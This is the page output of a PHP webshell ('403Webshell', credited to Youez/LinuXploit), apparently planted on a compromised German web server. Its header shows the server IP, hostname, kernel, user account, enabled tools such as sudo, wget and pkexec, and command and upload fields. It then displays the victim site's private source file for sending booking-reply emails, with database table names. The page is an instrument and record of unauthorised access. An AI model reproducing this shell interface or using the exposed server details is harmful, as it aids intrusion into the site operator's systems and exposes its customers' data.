403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/booking-hint-reply.php
<?php
/**
 * booking-hint-reply.php – Antwort auf den Kundenhinweis (booking_hint) einer Buchung.
 *
 * Nutzt dieselbe Vorlage und Mailing-Regel wie die Kontaktanfrage-Antwort (Template
 * `contact_reply`). Es wird nur der Antworttext abgefragt; die fertige Mail kann vorab
 * als Vorschau angesehen werden. Beim Senden wird die Antwort am Buchungssatz vermerkt
 * (booking_hint_reply*) und – wie die übrige Mail-Pipeline – in pacim_messages protokolliert
 * (erscheint im E-Mail-Tab der Buchung).
 *
 * Aktionen:
 *   preview  POST invoice_id, reply  -> { ok, to, subject, html }
 *   send     POST invoice_id, reply  -> { ok, message }   (rendert serverseitig neu)
 *
 * Zugriff: nur eingeloggte Admins.
 */
require_once( __DIR__ . '/includes/config.inc.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );
ob_start();

function hr_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); echo json_encode( $a ); exit(); }
function hr_fail( $m ) { hr_json( array( 'ok' => false, 'error' => $m ) ); }

if ( ! ( function_exists( 'is_admin' ) && is_admin() ) ) { http_response_code( 403 ); hr_fail( 'forbidden' ); }

$db      = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
$action  = $_GET['action'] ?? ( $_POST['action'] ?? '' );
$invoice = (int) ( $_GET['invoice_id'] ?? ( $_POST['invoice_id'] ?? 0 ) );
$reply   = trim( (string) ( $_POST['reply'] ?? ( $_GET['reply'] ?? '' ) ) );
if ( $invoice <= 0 ) hr_fail( 'Ungültige Buchung.' );

/** Erste Buchung der Rechnung mit nicht-leerem Kundenhinweis (sonst erste Buchung). */
function hr_hint_booking( $db, $invoice ) {
    $b = $db->rawQueryOne( "SELECT booking_id, booking_no, booking_hint, booking_datetime FROM pacim_booking
                            WHERE booking_invoice = ? AND TRIM(COALESCE(booking_hint,'')) <> ''
                            ORDER BY booking_id ASC LIMIT 1", array( $invoice ) );
    if ( ! $b ) $b = $db->rawQueryOne( "SELECT booking_id, booking_no, booking_hint, booking_datetime FROM pacim_booking WHERE booking_invoice = ? ORDER BY booking_id ASC LIMIT 1", array( $invoice ) );
    return $b ?: null;
}

/** contact_reply-Vorlage. */
function hr_template( $db ) {
    $t = $db->rawQueryOne( "SELECT * FROM pacim_templates WHERE template_key = 'contact_reply'" );
    return $t ? (object) $t : null;
}

/** Render-Kontext für die Antwort aufbauen (Buchung + Antworttext in die request_*-Platzhalter). */
function hr_context( $db, $invoice, $reply ) {
    $ctx  = mailrenderer::context( $invoice );
    $bk   = hr_hint_booking( $db, $invoice );
    $hint = $bk ? (string) $bk['booking_hint'] : '';
    $staff = trim( (string) ( $_SESSION['user_name'] ?? 'Administrator' ) );
    $fn = (string) ( $ctx['customer_firstname'] ?? '' );
    $ln = (string) ( $ctx['customer_lastname'] ?? '' );
    $name = trim( $fn . ' ' . $ln );
    $ctx['request_decision_note'] = $reply;                       // [request_decision_note] = Antworttext
    $ctx['request_message']       = $hint;                        // [request_message] = ursprünglicher Hinweis
    $ctx['request_note']          = $hint;
    $ctx['request_staff']         = $staff;                       // [request_staff]
    if ( empty( $ctx['name'] ) )  $ctx['name'] = $name !== '' ? $name : ( $ctx['customer_email'] ?? '' );
    if ( empty( $ctx['request_created'] ) ) {
        $dt = $bk && ! empty( $bk['booking_datetime'] ) ? strtotime( $bk['booking_datetime'] ) : 0;
        $ctx['request_created'] = $dt ? date( 'd.m.Y', $dt ) : '';
    }
    return $ctx;
}

/* ----------------------------------------------------------------- preview */
if ( $action === 'preview' ) {
    if ( $reply === '' ) hr_fail( 'Bitte zuerst eine Antwort eingeben.' );
    $tpl = hr_template( $db );
    if ( ! $tpl ) hr_fail( 'Vorlage „Kontaktanfrage (Antwort)" nicht gefunden.' );
    $ctx = hr_context( $db, $invoice, $reply );
    $r   = mailrenderer::render( $tpl, $ctx, false );
    hr_json( array(
        'ok' => true,
        'to' => trim( (string) ( $ctx['customer_email'] ?? '' ) ),
        'subject' => $r['subject'],
        'html' => $r['html'],
    ) );
}

/* ----------------------------------------------------------------- send */
if ( $action === 'send' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) hr_fail( 'method' );
    if ( $reply === '' ) hr_fail( 'Bitte eine Antwort eingeben.' );
    $tpl = hr_template( $db );
    if ( ! $tpl ) hr_fail( 'Vorlage „Kontaktanfrage (Antwort)" nicht gefunden.' );
    $tplId = (int) $tpl->template_id;

    $ctx = hr_context( $db, $invoice, $reply );
    $to  = trim( (string) ( $ctx['customer_email'] ?? '' ) );
    if ( ! filter_var( $to, FILTER_VALIDATE_EMAIL ) ) hr_fail( 'Für diesen Kunden ist keine gültige E-Mail-Adresse hinterlegt.' );
    $r       = mailrenderer::render( $tpl, $ctx, false ); // serverseitig rendern = identisch zur Vorschau
    $subject = $r['subject'];
    $html    = $r['html'];
    if ( trim( $html ) === '' ) hr_fail( 'Kein Inhalt zum Versenden.' );

    $custRow   = $db->rawQueryOne( "SELECT invoice_customer FROM pacim_invoice WHERE invoice_id=?", array( $invoice ) );
    $bk        = hr_hint_booking( $db, $invoice );
    $bookingId = (int) ( $bk['booking_id'] ?? 0 );

    // Konto & BCC aus DERSELBEN Mailing-Regel (contact_reply), sonst Firmenadresse als Kopie.
    $opts = array(); $ruleAccount = 0; $ruleBcc = null;
    $rule = $db->rawQueryOne( "SELECT rule_account, rule_bcc FROM pacim_mail_rules WHERE rule_template=? AND rule_active=1 ORDER BY rule_id ASC LIMIT 1", array( $tplId ) );
    if ( $rule ) {
        if ( (int) $rule['rule_account'] > 0 ) { $ruleAccount = (int) $rule['rule_account']; $opts['account'] = $ruleAccount; }
        if ( trim( (string) $rule['rule_bcc'] ) !== '' ) $ruleBcc = trim( (string) $rule['rule_bcc'] );
    }
    $cfg = mailservice::config();
    if ( $ruleBcc === null || $ruleBcc === '' ) {
        $fb = trim( (string) $cfg['from_email'] );
        if ( $fb !== '' && filter_var( $fb, FILTER_VALIDATE_EMAIL ) ) $ruleBcc = $fb;
    }
    if ( $ruleBcc !== null && $ruleBcc !== '' ) $opts['bcc'] = $ruleBcc;

    $now  = date( 'Y-m-d H:i:s' );
    $live = mailservice::smtpEnabled();
    // Protokoll-Snapshot (erscheint im E-Mail-Tab). message_rule NULL -> Queue prüft keine Regel.
    $msgId = $db->insert( 'pacim_messages', array(
        'message_status'   => 5, 'message_type' => 'system', 'message_count' => 0,
        'message_template' => $tplId, 'message_customer' => (int) ( $custRow['invoice_customer'] ?? 0 ),
        'message_invoice'  => $invoice, 'message_booking' => $bookingId,
        'message_subject'  => $subject, 'message_sender' => $cfg['from_email'], 'message_receiver' => $to,
        'message_account'  => $ruleAccount, 'message_bcc' => $ruleBcc,
        'message_content'  => $html, 'message_token' => pacim_sign( 'msg:' . uniqid( '', true ) ),
        'message_datetime' => $now,
    ) );

    // Antwort am Buchungssatz vermerken (alle Buchungen der Rechnung mit Hinweis).
    $staff = trim( (string) ( $_SESSION['user_name'] ?? 'Administrator' ) );
    $db->rawQuery( "UPDATE pacim_booking SET booking_hint_reply=?, booking_hint_reply_at=?, booking_hint_reply_by=?
                    WHERE booking_invoice=? AND TRIM(COALESCE(booking_hint,'')) <> ''",
                   array( $reply, $now, $staff, $invoice ) );

    // Audit (still scheitern, falls apilog fehlt)
    try {
        if ( class_exists( 'apilog' ) && $bookingId > 0 ) {
            apilog::record( array(
                'key_name' => $staff, 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', 'method' => 'POST',
                'resource' => 'booking', 'action' => 'hint_reply', 'kind' => 'write',
                'booking'  => $bookingId, 'invoice' => $invoice,
                'target'   => 'Antwort auf Kundenhinweis gesendet (' . ( $bk['booking_no'] ?? '' ) . ')', 'changes' => null,
            ) );
        }
    } catch ( Exception $e ) {}

    if ( ! $live ) {
        hr_json( array( 'ok' => true, 'queued' => true, 'message' => 'Antwort gespeichert und in die Warteschlange gelegt – sie wird versendet, sobald der SMTP-Versand aktiv ist.' ) );
    }
    $res = mailservice::send( $to, '', $subject, $html, array(), $opts );
    if ( ! empty( $res['ok'] ) ) {
        $db->where( 'message_id', (int) $msgId );
        $db->update( 'pacim_messages', array( 'message_status' => 1, 'message_count' => 1, 'message_error' => null ) );
        hr_json( array( 'ok' => true, 'message' => 'Antwort an den Kunden gesendet.' ) );
    }
    $db->where( 'message_id', (int) $msgId );
    $db->update( 'pacim_messages', array( 'message_count' => 1, 'message_error' => mb_substr( (string) ( $res['error'] ?? 'unbekannt' ), 0, 500 ) ) );
    hr_fail( 'Versand fehlgeschlagen: ' . ( $res['error'] ?? 'unbekannt' ) . '. Die Antwort wurde vermerkt und bleibt in der Warteschlange.' );
}

hr_fail( 'unknown_action' );

Youez - 2016 - github.com/yon3zu
LinuXploit